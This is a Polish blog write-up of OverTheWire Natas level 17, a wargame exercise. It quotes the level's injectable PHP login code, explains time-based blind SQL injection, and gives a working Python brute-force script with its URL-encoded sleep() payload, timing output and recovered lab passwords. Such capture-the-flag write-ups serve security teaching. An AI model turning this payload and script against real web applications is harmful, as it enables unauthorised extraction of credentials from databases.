Wpis jest kontynuacją rozwiązań hackme Natas na OverTheWire. Rozwiązania etapu 16 można znaleźć tutaj. Etap 17 to kolejne zadanie związane z atakami SQLi, jest on rozwinięciem zadania numer 15. Polecam zapoznanie się z jego rozwiązaniem, gdyż będziemy nawiązywać do metody przedstawionej w poświęconym mu wpisie.

Analiza

Po zalogowaniu na poziom 17 spoglądamy na kod źródłowy:

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas17', '<censored>');
    mysql_select_db('natas17', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysql_query($query, $link);
    if($res) {
    if(mysql_num_rows($res) > 0) {
        //echo "This user exists.<br>";
    } else {
        //echo "This user doesn't exist.<br>";
    }
    } else {
        //echo "Error in query.<br>";
    }

    mysql_close($link);
} else { 
    // wyświetl formularz
}

W porównaniu do kodu z zadania 15 widzimy jedną znaczącą różnicę. Skrypt nie odpowiada w żaden sposób na dane wprowadzone przez użytkownika. Jedyny modyfikator, który daje odpowiedź serwera to parametr debug, który możemy zastosować w adresie url. Spowoduje on wyświetlenie wykonywanego zapytania.

Z rozwiązania zadania 15 wiemy, że kod podatny jest na wstrzyknięcie poleceń SQL. Warto pochylić się nad zastosowaną tam metodą wykorzystania podatności. Analizując odpoweź skryptu wykonywaliśmy Blind SQL Injection. Był to atak bruteforce, który sukcesywnie dążył do odkrycia hasła.

Intuicja podpowiada, że atak będzie podobnej natury. Jak jednak rozpoznać, czy testowane przez nas hasło jest prawidłowe?

Rozwiązanie

Przytoczmy zapytanie SQL, które osiągneliśmy w wyniku manipulacji danymi wejściowymi na poziomie 15:

SELECT * from users where username="natas15" AND password LIKE BINARY "...%"

W tym miejscu warto również zacytować spostrzeżenie zawarte pod koniec rozwiązania:

Metoda zastosowana w tym zadaniu nazywana jest Blind SQL Injection. Polega ona, jak zauważyliśmy badaniu binarnego stanu systemu powstałego na skutek zapytania do bazy danych. Dla nas stanem pozytywnym było wystąpienie This user exists w treści strony. Nie jest to ostatnie zadanie, które wymagać będzie od nas wykorzystania podobnych podatności.

Zauważamy zatem, że brakuje nam rozróżnienia binarnego stanu systemu. Jeśli skrypt, który atakujem nie dostarcza nam informacji o tym stanie, musimy uzyskać ją sami. Metoda, którą zastosujemy w iteraturze występuje pod nazwą Time Based Blind SQL Incjection.

Idea ataku jest prosta. Zastosujemy wyrażenie warunkowe zapytania SQL. Jeżeli wynik wyszukiwania będzie pozytywny uruchomimy metodę sleep() ze składni SQL. Skrypt wykonujący atak będzie mierzył czas odpowiedzi i na tej podstawie uzyskamy hasło. Proponuję zmanipulować zapytanie do następującej postaci:

SELECT * from users where username="natas18" AND IF(password LIKE BINARY "...%", sleep(3), "1")  != "NULL"

W miejscu trzech kropek wstawiać będziemy kolejne odgadywane hasła. W bliższym poznaniu składni zapytania pomoże wpomniany wyżej opis ataku, choć mam nadzieję, że składnia jest dość czytelna.

Pozostaje nam jedynie zmodyfikować skrypt tak, aby zastosował opracowaną wyżej metodę ataku:

#!/usr/bin/python
import requests
import sys
import time

chars = "0123456789abcdefghijklmnoqprstuvwxyzABCDEFGHIJKLMNOQPRSTUVWXYZ"
urlbase = 'http://natas17.natas.labs.overthewire.org/index.php'
passwd = ""+sys.argv[1]
s = requests.Session(config={'encode_uri': False})
s.auth = ("natas17", "8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw")

if s.get(urlbase).status_code != 200:
        print "Server unreachable, exiting"
        sys.exit()
else:
        print "Server reached, starting blind SQL injection"

for i in range(32):
        for ch in chars:
                url = urlbase + '?username=natas18%22%20AND%20IF(password%20LIKE%20BINARY%20%22{0}%%22,%20sleep(6),%20%221%22)%20%20!=%20%22NULL'.format(passwd+ch)
                start = time.time()
                r = s.get(url)
                end = time.time()
                diff = end-start
                print passwd + "[" + ch + "] " + str(diff)
                if diff > 5.8:
                        passwd += str(ch)
                        continue

print "The password is: "+passwd

Ciąg manipulujący zapytaniem w zmiennej url został zakodowany na poziomie ciągu znaków ze względu na problemy z jego zakodowaniem na poziomie biblioteki requests.

W ataku zastosowano dość duże, sześciosekundowe opóźnienie. Im większe opóźnienie tym mniejsza szansa na wykrycie typu false img: overthewire.png positive spowodowane problemami na łączu lub niezależnym opóźnieniem w odpowiedzi serwera. Wynik działania skryptu:

Server reached, starting blind SQL injection

[0] 0.381412982941
[1] 0.282294988632
[2] 0.232406139374
...
[w] 0.201229095459
[x] 6.24392700195
x[y] 0.197375059128
x[z] 0.201981067657
...	
xvKI[o] 0.25354719162
xvKI[q] 6.23507404327
xvKIq[p] 0.24840593338
xvKIq[r] 0.236830949783
...
xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP

Zaproponowałem inną niż zwyklę wersję wydruku, która pokazuje czas kolejnych zapytań. Taka postać okazuje się przydatna na etapie dopasowywania opóźnienia. Możemy dostrzec, że dla niektórych zapytań serwer może odpowiadać dłużej niż zwykle pomimo, ze nie nastąpiło wykrycie. Również w tym celu zmienna passwd może zostać ustawiona za pomocą argumentów uruchamiania. Jeśli wykryliśm pierwszych kilka znaków a następnie serwer przestał odpowiadać, możemy zadać ciąg początkowy i uruchomić atak od konkretnego momentu.

Tym sposobem uzyskaliśmy rozwiązanie zadania i dostęp do zadania 18.